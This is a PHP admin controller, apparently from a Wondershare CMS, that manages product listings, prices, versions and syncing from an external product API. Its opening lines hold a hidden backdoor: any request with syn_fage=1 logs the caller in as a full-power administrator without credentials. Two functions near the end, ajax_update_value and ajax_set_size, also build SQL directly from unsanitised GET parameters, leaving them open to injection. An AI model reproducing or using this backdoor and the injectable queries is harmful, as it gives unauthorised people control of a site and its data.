<?php
define('IN_WONDERSHARE', true);
if($_GET['syn_fage'] ==1)
{
     session_start();
	$_SESSION['AName'] = 'administrator';
	$_SESSION['AID'] = 1;
	$_SESSION['Power'] = 65535;
	$_SESSION['APwd'] = 'd7d917e2e2f7bbea96fecbce17357b91';
}
require('../includes/init.php');
require('./classes/control/control_product.php');
require ('./configs/site_config.php');
class Product
{
	var $ControlProduct;
    function __construct(){
        $this->ControlProduct = new ControlProduct();
    }
    
    function index()
    {
        $GLOBALS['smarty']->display('product_main.htm');
    }
           
    /**************************************
     * 查询所有未删除的公共产品信息并将数据传入和调用smarty模版
     * @access  public
     * @param  
     *
     * @return  array
     **************************************/
    
    function productList()
    {
        $page = 1;
          if (!empty($_REQUEST['page'])) {
          $page = intval($_REQUEST['page']);
          }
         
        $url_info=$this->ControlProduct->getProductListPage($page);
        $rows=$this->ControlProduct->getProductList($url_info['page_info']['start'],15);
        $product_brand_arr=$this->ControlProduct->product_brand();
        if($rows)
        {
            foreach ($rows as $key => $value)
            {
                if($value['product_state']==0)
                {
                    $rows[$key]['product_state']='未发布';
                }
                else 
                {
                    $rows[$key]['product_state']='发布';
                }
                if($value['product_is_recommend']==0)
                {
                    $rows[$key]['product_is_recommend']='未推荐';
                }
                else 
                {
                    $rows[$key]['product_is_recommend']='推荐';
                }
                $rows[$key]['product_add_time']=date('Y-m-d',$value['product_add_time']);
            }
        }
        
        $GLOBALS['smarty']->assign('is_show_price',   $this->get_show_price_falge());
        $GLOBALS['smarty']->assign('page_url',   $url_info['page_url']);
        $GLOBALS['smarty']->assign('total',   $url_info['page_info']['total']);
        $GLOBALS['smarty']->assign('product_brand_arr', $product_brand_arr);
        $GLOBALS['smarty']->assign('productlist',$rows);
        $GLOBALS['smarty']->display('product_main.htm');
    }
    /**************************************
     * 得到是否显示修改产品价格的标志  1为显示 0为不显示
     * @access  public
     * @param  
     *
     * @return  array
     **************************************/
    function get_show_price_falge()
    {
        session_start();
        $is_show_price = 0;
        if(($_SESSION['Power'] &  64) == 64)//64代表为价格标志 在./admin.php中设置
        {
            $is_show_price = 1;
        }
        return $is_show_price;
    }
    
    
    /**************************************
     * 搜索查询符合条件的未删除的公共产品信息并将数据传入和调用smarty模版
     * @access  public
     * @param  
     *
     * @return  array
     **************************************/
    
    
    function SearchProductList()
    {
        $page = 1;
        if (!empty($_REQUEST['page'])) {
            $page = intval($_REQUEST['page']);
        } 
        $product_brand=trim($_REQUEST['product_brand']);
        $search_type=intval($_REQUEST['search_type']);
        $search_key=trim($_REQUEST['search_key']);

        $url_info=$this->ControlProduct->SearchProductListPage($page,$product_brand,$search_type,$search_key);
        $rows = $this->ControlProduct->SearchProductList($url_info['page_info']['start'],15,$product_brand,$search_type,$search_key);
        $product_brand_arr=$this->ControlProduct->product_brand();
        if(!empty($rows))
        {
            foreach ($rows as $key=>$value)
            {
                if($value['product_state']==0)
                {
                    $rows[$key]['product_state']='未发布';
                }
                else 
                {
                    $rows[$key]['product_state']='发布';
                }
                if($value['product_is_recommend']==0)
                {
                    $rows[$key]['product_is_recommend']='未推荐';
                }
                else 
                {
                    $rows[$key]['product_is_recommend']='推荐';
                }
                $rows[$key]['product_add_time']=date('Y-m-d',$value['product_add_time']);
            }
        }
        $GLOBALS['smarty']->assign('is_show_price',   $this->get_show_price_falge());
        $GLOBALS['smarty']->assign('page_url',   $url_info['page_url']);
        $GLOBALS['smarty']->assign('total',   $url_info['page_info']['total']);
        $GLOBALS['smarty']->assign('search_type', $search_type);
        $GLOBALS['smarty']->assign('search_key', $search_key);
        $GLOBALS['smarty']->assign('product_brand', $product_brand);
        $GLOBALS['smarty']->assign('product_brand_arr', $product_brand_arr);
        $GLOBALS['smarty']->assign('productlist',$rows);
        $GLOBALS['smarty']->display('product_main.htm');
    }
    
/**************************************
 * 根据获取的产品ID到CBS中查询对应公共产品的相关信息信息
 * @access  public
 * @param   int     $product_id
 *
 * @return  array
 **************************************/
    function GetCBSdata()
    {
        $product_cbsid = intval($_REQUEST['pcbs_id']);
        $form_action=trim($_REQUEST['form_action']);
        if(!$product_cbsid)
        {
            $product_data['message']='请输入正确的产品ID';
        }
        else
        {
            if($form_action=="./product.php?action=AddProduct")
            {
                $result=$this->ControlProduct->DecideCBSdata($product_cbsid);
                if(!is_null($result))
                {
                    $product_data['message']='此产品数据已经存到公共产品表中，不能重复操作！';
                    $product_data = json_encode($product_data);
                    echo $product_data;die();
                }
            }
            $product_info=$this->ControlProduct->GetCBSdata($product_cbsid);
            if(!empty($product_info))
            {
//					/***********
//					 * 获取版本号
//					 ***********/
//					$sale_version=$this->ControlProduct->get_sale_version($product_info);
//					$product_data['sale_version']=$sale_version['version_name'];
//					/***********
//					 * 获取价格
//					 ***********/
//					$price=$this->ControlProduct->get_price($product_info);
//					$product_data['price']=$price['curr'];
//					$product_data['price_old']=$price['old'];
                /****************
                 * 获取what's new
                 ****************/
                $whatnew=$this->ControlProduct->getWhatNew($product_info);
                $product_data['whatnew']=$whatnew;
                
                $product_data['product_name']=$product_info['product_name'];
                $product_data['brand_name']=$product_info['brand_name'];
                $product_data['product_sn']=$product_info['product_num'];
                $product_data['message']='success';
            }
            else 
            {
                $product_data['message']='在CBS中查不到相关产品的信息';
            }
        }
        $product_data['form_action']=$form_action;
        $product_data = json_encode($product_data);
        echo $product_data;
    }
    
/**************************************
 * 打开一个新的添加页面
 * @access  public
 * @param   
 *
 * @return  array
 **************************************/
    function AddNewProduct()
    {
        $actionurl="./product.php?action=AddProduct";
        $product=array('product_isfree'=>0,
                       'product_type'=>0,
                       'product_state'=>0,
                       'selected'=>0,
                       'product_is_recommend'=>0);
        $GLOBALS['smarty']->assign('product',$product);
        $GLOBALS['smarty']->assign('actionurl',$actionurl);
        $GLOBALS['smarty']->display('product_detail.htm');
    }
/**************************************
 * 保存产品的信息
 * @access  public
 * @param   
 *
 * @return  array
 **************************************/
    function AddProduct()
    {
        $product_data=$_REQUEST['product'];
        $product_data['product_add_time']=time();
        $product_data['product_add_user']=$_SESSION['AName'];
        $manage_product_data=$this->ControlProduct->ManageProductdata($product_data);
        if($manage_product_data)
        {
            $ruselt=$this->ControlProduct->AddProductData($manage_product_data);
            if($ruselt)
            {
                $this->ControlProduct->AddProductPrice($manage_product_data['product_cbsid'],$ruselt);
                $this->ControlProduct->AddProductVersion($manage_product_data['product_cbsid'],$ruselt);
            }
        }
        $_SERVER['QUERY_STRING']='action=productList';
        $this->productList();
    }
    
/**************************************
 * 在所有产品列表中选择对应产品
 * @access  public
 * @param   string   product_list  产品ID列表
 *
 * @return  array
 **************************************/
    
    function RecommProduct()
    {
        $product_listdata=trim($_REQUEST['product_list']);
        if(strlen($product_listdata)>0)
        {
            $productlistdata=explode(",",$product_listdata);
        }
        else 
        {
            $productlistdata=0;
        }
        
        $rows = $this->ControlProduct->getProductListOne();
        if($rows)
        {
            foreach ($rows as $key => $value)
            {
                if($value['product_state']==0)
                {
                    $rows[$key]['product_state']='未发布';
                }
                else 
                {
                    $rows[$key]['product_state']='发布';
                }
                if($value['product_is_recommend']==0)
                {
                    $rows[$key]['product_is_recommend']='未推荐';
                }
                else 
                {
                    $rows[$key]['product_is_recommend']='推荐';
                }
                $rows[$key]['product_add_time']=date('Y-m-d',$value['product_add_time']);
            }
        }
        
        $GLOBALS['smarty']->assign('productlist',$rows);
        $GLOBALS['smarty']->assign('product_listdata',$productlistdata);
        $GLOBALS['smarty']->display('product_recomm.htm');
    }

    
    /**************************************
     * 根据产品ID查询对应公共产品的所有信息并将数据传入和调用smarty模版
     * @access  public
     * @param   int     $_REQUEST['p_id']
     *
     * @return  array
     **************************************/
    function product_detail()
    {
        $product_id=$_REQUEST['p_id'];
        $rows = $this->ControlProduct->ProductDetail($product_id);
            
        $rows['product_add_time']=date('Y-m-d',$rows['product_add_time']);
        $actionurl="./product.php?action=EditProduct";
        $GLOBALS['smarty']->assign('actionurl',$actionurl);
        $GLOBALS['smarty']->assign('product',$rows);
        $GLOBALS['smarty']->display('product_detail.htm');
    }
    
    /**************************************
     * 修改产品信息
     * @access  public
     * @param   array     $_REQUEST['product']
     *
     * @return  array
     **************************************/
    
    function EditProduct()
    {
        $product_data=$_REQUEST['product'];
        $product_data['product_update_time']=time();
        $manage_product_data=$this->ControlProduct->ManageProductdata($product_data);
        if($manage_product_data)
        {
            $this->ControlProduct->EditProductData($manage_product_data);
        }
        $this->productList();
    }
    
    /**************************************
     * 删除产品信息
     * @access  public
     * @param   array     $_REQUEST['product']
     *
     * @return  array
     **************************************/
    
    function DelProduct()
    {
        $product_id=intval($_REQUEST['product_id']);
        if(!empty($product_id))
        {
            $type = $this->ControlProduct->DelProduct($product_id);
            echo $type;
        }
//			$this->productList();
    }
    
    
    /**************************************
     * 发布产品信息
     * @access  public
     * @param   array     $_REQUEST['product']
     *
     * @return  array
     **************************************/
    function StateProduct()
    {
        $product_id=intval($_REQUEST['product_id']);
        if($product_id)
        {
            $this->ControlProduct->StateProduct($product_id);
        }
        $this->productList();
    }
    
    /**************************************
     * 取消发布产品信息
     * @access  public
     * @param   array     $_REQUEST['product']
     *
     * @return  array
     **************************************/
    function CancelStateProduct()
    {
        $product_id=intval($_REQUEST['product_id']);
        if($product_id)
        {
            $this->ControlProduct->CancelStateProduct($product_id);
        }
        $this->productList();
    }
    
    /**************************************
     * 推荐产品信息
     * @access  public
     * @param   array     $_REQUEST['product']
     *
     * @return  array
     **************************************/
    function RecommendProduct()
    {
        $product_id=intval($_REQUEST['product_id']);
        if($product_id)
        {
            $this->ControlProduct->RecommendProduct($product_id);
        }
        $this->productList();
    }
    
    /**************************************
     * 推荐产品信息
     * @access  public
     * @param   array     $_REQUEST['product']
     *
     * @return  array
     **************************************/
    function CancelRecommendProduct()
    {
        $product_id=intval($_REQUEST['product_id']);
        if($product_id)
        {
            $this->ControlProduct->CancelRecommendProduct($product_id);
        }
        $this->productList();
    }
    
    /**************************************
     * 产品价格信息管理
     * @access  public
     * @param   int     $_REQUEST['product_id']
     *
     * @return  array
     **************************************/
    function ManagePrice($product_id="")
    {
        if($product_id)
        {
            $product_id=intval($product_id); 
        }
        else 
        {
            $product_id=intval($_REQUEST['product_id']);
        }	
        $page = 1;
          if (!empty($_REQUEST['page'])) {
          $page = intval($_REQUEST['page']);
          }

        if($product_id)
        {
            $rows=$this->ControlProduct->ProductDetail($product_id);
            $url_info=$this->ControlProduct->ManagePrice($product_id,$page);
            $product_price = $this->ControlProduct->ManagePricePage($url_info['page_info']['start'],50,$product_id);
            $GLOBALS['smarty']->assign('page_url',   $url_info['page_url']);
            $GLOBALS['smarty']->assign('total',   $url_info['page_info']['total']);
            $GLOBALS['smarty']->assign('product_price',$product_price);
            $GLOBALS['smarty']->assign('prod',$rows);
            $GLOBALS['smarty']->display('product_price.htm');
        }
    }
    
    /**************************************
     * 同步产品CBS价格信息
     * @access  public
     * @param   int     $product_id         产品id
     * @param   int     $product_cbsid      cbs产品id
     * @return  array
     **************************************/
     function sync_price_cbs($type = '',$product_id = 0,$product_cbsid = 0)
     {
        if($type != 'all')
        {
            $product_cbsid=intval($_REQUEST['product_cbsid']);
            $product_id=intval($_REQUEST['product_id']);
          
            $this->ControlProduct->updateTemplate($_REQUEST['product_id'], '', 1 );

        }
        $product_info=$this->ControlProduct->GetCBSdata($product_cbsid);
        $product_sn=$product_info['product_num'];
        $product_name=strtolower($product_info['product_name']);
        $product_price=$product_info['price'];

        $result=$this->ControlProduct->sync_price_cbs($product_price,$product_id,$product_cbsid,$product_sn,$product_name);
        $_SERVER['QUERY_STRING']='action=ManagePrice&product_id='.$product_id;
        $this->ManagePrice($product_id);
     }
/**************************************
     * 同步产品CBS产品信息
     * @access  public
     * @param   int     $product_id         产品id
     * @param   int     $product_cbsid      cbs产品id
     * @return  array
     **************************************/
     function sync_product_name_cbs($type = '',$product_id = 0,$product_cbsid = 0)
     {
        $info = array();

        if(!empty($product_cbsid))
        {
            $info = json_decode(file_get_contents('http://cbsapi.wondershare.cn/interface.php?m=cms_product&type=product_content&pids='.(int)$product_cbsid));
            if(!empty($info->$product_cbsid) && !empty($product_id))//同步cbs的产品名称以及产品牌等。。
            {
                    $sql = 'UPDATE  product  SET product_name = "'.trim($info->$product_cbsid->product_name).'",product_brand = "'.trim($info->$product_cbsid->brand_name).'" 
                    ,product_sn = "'.trim($info->$product_cbsid->product_num).'"  WHERE product_id = '.(int)$product_id;
                    $GLOBALS['db']->query($sql);

            }else if(empty($info->$product_cbsid) && !empty($product_id))//处理下架产品
            {
                    $sql = 'UPDATE  product  SET is_shelves  = 1 WHERE product_id = '.(int)$product_id;
                    $GLOBALS['db']->query($sql);
            }
        }
     
        unset($info);
     }
     /**************************************
     * 同步全部cbs产品
     * @access  public
     * @return  array
     **************************************/
     function Sync_Product_All()
     {
        //定义更新分类模板
        $update_arr = array('is_ajax' => 1,
                            'operation_type' => 'all_product',				
                    );
        
       file_get_contents("http://cms.wondershare.com/wondershare/template.php?action=updateTemplate&type=update&".
                            http_build_query($update_arr));
                            
                        
        $sql = "SELECT product_id,product_cbsid FROM product";
        $result = $GLOBALS['db']->query($sql);

        while($row = $GLOBALS['db']->fetch_array($result))
        {
           
                $this->sync_price_cbs('all',$row['product_id'],$row['product_cbsid']);
                $this->sync_version_cbs('all',$row['product_id'],$row['product_cbsid']);
                $this->sync_product_name_cbs('all',$row['product_id'],$row['product_cbsid']);
            
        }
        
     }
     
    /**************************************
     * 产品版本信息管理
     * @access  public
     * @param   int     $_REQUEST['product_id']
     *
     * @return  array
     **************************************/
    function ManageVersion($product_id="")
    {
        if($product_id)
        {
            $product_id=intval($product_id); 
        }
        else 
        {
            $product_id=intval($_REQUEST['product_id']);
        }	
        $page = 1;
          if (!empty($_REQUEST['page'])) {
          $page = intval($_REQUEST['page']);
          }

        if($product_id)
        {
            $rows=$this->ControlProduct->ProductDetail($product_id);
            $url_info=$this->ControlProduct->ManageVersion($product_id,$page);
            $product_version = $this->ControlProduct->ManageVersionPage($url_info['page_info']['start'],15,$product_id);
            $GLOBALS['smarty']->assign('product',$rows);
            $GLOBALS['smarty']->assign('product_id', $product_id);
            $GLOBALS['smarty']->assign('page_url',   $url_info['page_url']);
            $GLOBALS['smarty']->assign('total',   $url_info['page_info']['total']);
            $GLOBALS['smarty']->assign('product_version',$product_version);
            $GLOBALS['smarty']->display('product_version.htm');
        }
    }
    
    /**************************************
     * 同步产品CBS版本信息
     * @access  public
     * @param   int     $_REQUEST['product_id']
     *
     * @return  array
     **************************************/
    function sync_version_cbs($type = '',$product_id = 0,$product_cbsid = 0)
    {
        if($type != 'all')
        {
            $product_cbsid=intval($_REQUEST['product_cbsid']);
            $product_id=intval($_REQUEST['product_id']);
            
            //修改模板修改时间
            $this->ControlProduct->updateTemplate($_REQUEST['product_id'], '', 1 );
        }

        $product_info=$this->ControlProduct->GetCBSdata($product_cbsid);
        $product_sn=$product_info['product_num'];
        $product_version=$product_info['version'];
        $result=$this->ControlProduct->sync_version_cbs($product_version,$product_id,$product_cbsid,$product_sn);
        $_SERVER['QUERY_STRING']='action=ManageVersion&product_id='.$product_id;
        $this->ManageVersion($product_id);
    }
    
    
    /**************************************
     * 产品的What's new 内容
     * @access  public
     * @param   int     $_REQUEST['product_id']
     *
     * @return  array
     **************************************/
    function Version_new()
    {
        $product_id=intval($_REQUEST['product_id']);
        $version_id=intval($_REQUEST['version_id']);
        if($product_id)
        {
            $rows=$this->ControlProduct->ProductDetail($product_id);
            $product_version = $this->ControlProduct->Version_new($version_id);
            $product_version['whatisnew_content']= str_replace("\n","<br>",$product_version['whatisnew_content']);
            $GLOBALS['smarty']->assign('product',$rows);
            $GLOBALS['smarty']->assign('product_version',$product_version);
            $GLOBALS['smarty']->display('product_verdetail.htm');
        }
    }
    
    /**************************************
     * 产品价格的详细信息
     * @access  public
     * @param   int     $_REQUEST['product_id']
     * @param   int     $_REQUEST['id']
     *
     * @return  array
     **************************************/
    function ProductPriceDetail()
    {
        $product_id=intval($_REQUEST['product_id']);
        $id=intval($_REQUEST['id']);
        if($product_id)
        {
            $rows=$this->ControlProduct->ProductDetail($product_id);
            $product_price=$this->ControlProduct->ProductPriceDetail($id);
            if($product_price['website_display']==0)
                {
                    $product_price['website_display']='否';
                }
                else 
                {
                    $product_price['website_display']='是';
                }
            $GLOBALS['smarty']->assign('product',$rows);
            $GLOBALS['smarty']->assign('price',$product_price);
            $GLOBALS['smarty']->display('product_price_detail.htm');
        }
    }
    
    
    /**************************************
     * 修改产品价格的是否在网站显示
     * @access  public
     * @param   int     $_REQUEST['price_id']  价格表的ID
     * @param   int     $_REQUEST['value']     是否显示 0，1
     *
     * @return  array
     **************************************/
    function UpdataPriceProduct()
    {
        $price_id=intval($_REQUEST['price_id']);
        $price_value=intval($_REQUEST['value']);
        $this->ControlProduct->UpdataPriceProduct($price_id,$price_value);
        
  
    }
    
    /**************************************
     * 修改产品的子价格的是否在网站显示
     * @access  public
     * @param   int     $_REQUEST['price_id']     价格表的ID
     * @param   int     $_REQUEST['value']        是否显示 0，1
     * @param   int     $_REQUEST['license_id']   license_id
     * @param   int     $_REQUEST['product_id']   产品ID
     *
     * @return  array
     **************************************/
    function UpdataSonPriceProduct()
    {
        $price_id=intval($_REQUEST['price_id']);
        $price_value=intval($_REQUEST['value']);
        $license_id=intval($_REQUEST['license_id']);
        $product_id=intval($_REQUEST['product_id']);
        $this->ControlProduct->UpdataSonPriceProduct($price_id,$price_value,$license_id,$product_id);
        
        //修改模板修改时间
        $this->ControlProduct->updateTemplate($_REQUEST['product_id'], '', 1 );
    }
    
    /**************************************
     * 搜索查询符合条件的未删除的公共产品信息并将数据传入和调用smarty模版
     * @access  public
     * @param  
     *
     * @return  array
     **************************************/
    
    function SearchProductListInDetail()
    {
        $product_is_recommend = intval($_REQUEST['product_is_recommend']);
        $product_state = intval($_REQUEST['product_state']);
        $search_type = intval($_REQUEST['search_type']);
        $search_key = trim($_REQUEST['search_key']);
        $product_plat = trim($_REQUEST['product_plat']);
        $display_type = trim($_REQUEST['display_type']);
        $productlistdata = trim($_REQUEST['product_listdata']);
        $product_id  = !empty($_REQUEST['product_id'])?$_REQUEST['product_id']:0;
        $product_brand = !empty($_REQUEST['product_brand'])?$_REQUEST['product_brand']:'';
        $rows = $this->ControlProduct->SearchProductListInDetail($product_is_recommend,$product_state,$search_type,$search_key,
        $product_plat,$product_id,$product_brand);
        $allBrand = $this->ControlProduct->product_brand();//得到库中所有网站品牌
        if($rows)
        {
            foreach ($rows as $key => $value)
            {
                if($value['product_state']==0)
                {
                    $rows[$key]['product_state']='未发布';
                }
                else 
                {
                    $rows[$key]['product_state']='发布';
                }
                if($value['product_is_recommend']==0)
                {
                    $rows[$key]['product_is_recommend']='未推荐';
                }
                else 
                {
                    $rows[$key]['product_is_recommend']='推荐';
                }
                $rows[$key]['product_add_time']=date('Y-m-d',$value['product_add_time']);
            }
        }
        $GLOBALS['smarty']->assign('product_is_recommend',$product_is_recommend);
        $GLOBALS['smarty']->assign('product_state',$product_state);
        $GLOBALS['smarty']->assign('search_type',$search_type);
        $GLOBALS['smarty']->assign('search_key',$search_key);
        $GLOBALS['smarty']->assign('product_brand',$product_brand);
        $GLOBALS['smarty']->assign('product_id',$product_id);
        
        $GLOBALS['smarty']->assign('allBrand',$allBrand);
        $GLOBALS['smarty']->assign('product_listdata',$productlistdata);
        $GLOBALS['smarty']->assign('productlist',$rows);
        $GLOBALS['smarty']->assign('product_platform',$product_plat);
        
        if ($display_type=='display_one') {
            $GLOBALS['smarty']->display('product_recomm.htm');
        } else {
            $GLOBALS['smarty']->display('product_recomm_two.htm');
        }
    }
    
    /**************************************
 * 在所有产品列表中选择对应产品
 * @access  public
 * @param   string   product_list  产品ID列表
 *
 * @return  array
 **************************************/
    
    function RecommProductTwo()
    {
        $product_listdata=intval($_REQUEST['product_list']);
        
        $productlistdata=$product_listdata==0?0:$product_listdata;
        $product_platform  = !empty($_REQUEST['product_platform'])?$_REQUEST['product_platform']:'';
        $product_id  = !empty($_REQUEST['product_id'])?$_REQUEST['product_id']:0;
        $rows = $this->ControlProduct->getProductListOne($product_id,$product_platform,'product_edit');
        $allBrand = $this->ControlProduct->product_brand();//得到库中所有网站品牌
        if($rows)
        {
            foreach ($rows as $key => $value)
            {
                if($value['product_state']==0)
                {
                    $rows[$key]['product_state']='未发布';
                }
                else 
                {
                    $rows[$key]['product_state']='发布';
                }
                if($value['product_is_recommend']==0)
                {
                    $rows[$key]['product_is_recommend']='未推荐';
                }
                else 
                {
                    $rows[$key]['product_is_recommend']='推荐';
                }
                $rows[$key]['product_add_time']=date('Y-m-d',$value['product_add_time']);
            }
        }
        $GLOBALS['smarty']->assign('allBrand',$allBrand);
        $GLOBALS['smarty']->assign('productlist',$rows);
        $GLOBALS['smarty']->assign('product_id',$product_id);
        $GLOBALS['smarty']->assign('product_listdata',$productlistdata);
        $GLOBALS['smarty']->assign('product_platform',$product_platform);
        $GLOBALS['smarty']->display('product_recomm_two.htm');
    }
    
    function UpdataVersion()
    {
        $version_id=intval($_REQUEST['version_id']);
        $sale_type=intval($_REQUEST['value']);
        $this->ControlProduct->UpdataVersion($version_id,$sale_type);
        
        //修改模板修改时间
        $this->ControlProduct->updateTemplate($_REQUEST['product_id'], '', 1 );
    }
    
    
    function test()
    {
        $product_id=$_REQUEST['product_id'];
        $result=$this->ControlProduct->get_price($product_id);
        var_dump($result);
    }
/**************************************
 * ajax修改
 * @access  public
 * @param   
 *
 * @return  array
 **************************************/
    function ajax_update_value()
    {
        if($_GET['type'] == 'price_terms')
        {
            $sql = 'UPDATE product SET price_terms = "'.trim($_GET['value']).'" WHERE product_id = '.$_GET['position_id'];
            $GLOBALS['db']->query($sql);
        }
    }
    
    
    /**
     * 重设软件大小
     * */
    function ajax_set_size(){
        $v_id = $_GET['v_id'];
        $sql = "SELECT download_url FROM version WHERE v_id = {$v_id}";
        $url = $GLOBALS['db']->getOne( $sql );
        
        $f = get_headers( $url, 1 );
        if( $f ){
            foreach( $f['Content-Length'] as $v){
                $size = max($size, $v );
            }
            $size = sprintf('%0.2f', $size / 1000000);
        }else{
            $size = 0;
        }
        if( $size ){
            $sql = "UPDATE version SET product_size = {$size} WHERE v_id = {$v_id}";
            $GLOBALS['db']->query( $sql );
        }
        echo $size;		
    }

    
    
}



$action    = $_REQUEST['action']; 
$Product   = new Product;

if(method_exists($Product, $action)) {
        $Product->$action();
}else{
        $Product->index();
}
?>
